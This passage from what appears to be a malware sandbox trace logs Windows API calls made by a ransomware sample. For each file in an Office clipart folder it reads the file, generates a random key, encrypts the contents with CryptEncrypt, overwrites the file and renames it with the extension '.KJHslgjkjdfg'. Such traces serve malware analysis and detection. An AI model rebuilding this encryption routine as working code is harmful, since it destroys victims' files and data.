dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.264] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.264] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.265] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.265] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.265] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.265] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.265] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.265] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.265] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x121c, lpOverlapped=0x0) returned 1 [0201.266] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1220, dwBufLen=0x1220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1220) returned 1 [0201.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.266] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1220, lpOverlapped=0x0) returned 1 [0201.266] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.266] SetEndOfFile (hFile=0x130) returned 1 [0201.269] GetProcessHeap () returned 0x2ef0000 [0201.269] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.269] GetProcessHeap () returned 0x2ef0000 [0201.269] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.kjhslgjkjdfg")) returned 1 [0201.270] CloseHandle (hObject=0x130) returned 1 [0201.271] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1 [0201.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.271] GetProcessHeap () returned 0x2ef0000 [0201.271] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.271] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.271] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.274] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.274] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.274] GetProcessHeap () returned 0x2ef0000 [0201.274] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.274] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.274] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.274] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.274] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.274] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.274] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.274] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.274] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.274] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.275] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xed8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xed8, lpOverlapped=0x0) returned 1 [0201.275] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xee0, dwBufLen=0xee0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xee0) returned 1 [0201.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.275] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xee0, lpOverlapped=0x0) returned 1 [0201.275] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.275] SetEndOfFile (hFile=0x130) returned 1 [0201.277] GetProcessHeap () returned 0x2ef0000 [0201.277] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.278] GetProcessHeap () returned 0x2ef0000 [0201.278] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.kjhslgjkjdfg")) returned 1 [0201.279] CloseHandle (hObject=0x130) returned 1 [0201.279] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1 [0201.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.280] GetProcessHeap () returned 0x2ef0000 [0201.280] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.280] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.281] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.283] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.283] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.283] GetProcessHeap () returned 0x2ef0000 [0201.283] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.283] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.283] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.283] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.283] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.283] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.283] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.283] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.283] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.284] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.284] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2044, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2044, lpOverlapped=0x0) returned 1 [0201.285] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2050, dwBufLen=0x2050 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2050) returned 1 [0201.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.285] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2050, lpOverlapped=0x0) returned 1 [0201.285] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.285] SetEndOfFile (hFile=0x130) returned 1 [0201.288] GetProcessHeap () returned 0x2ef0000 [0201.288] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.288] GetProcessHeap () returned 0x2ef0000 [0201.288] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.kjhslgjkjdfg")) returned 1 [0201.289] CloseHandle (hObject=0x130) returned 1 [0201.289] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1 [0201.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.290] GetProcessHeap () returned 0x2ef0000 [0201.290] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.290] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.290] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.293] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.293] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.293] GetProcessHeap () returned 0x2ef0000 [0201.293] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.293] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.293] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.293] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.293] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.293] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.293] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.293] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.294] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.294] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.294] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b68, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b68, lpOverlapped=0x0) returned 1 [0201.295] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b70) returned 1 [0201.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.295] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b70, lpOverlapped=0x0) returned 1 [0201.295] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.295] SetEndOfFile (hFile=0x130) returned 1 [0201.298] GetProcessHeap () returned 0x2ef0000 [0201.298] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.298] GetProcessHeap () returned 0x2ef0000 [0201.298] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.kjhslgjkjdfg")) returned 1 [0201.299] CloseHandle (hObject=0x130) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1 [0201.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.300] GetProcessHeap () returned 0x2ef0000 [0201.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.300] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.300] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.302] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.302] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.302] GetProcessHeap () returned 0x2ef0000 [0201.302] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.303] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.303] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, 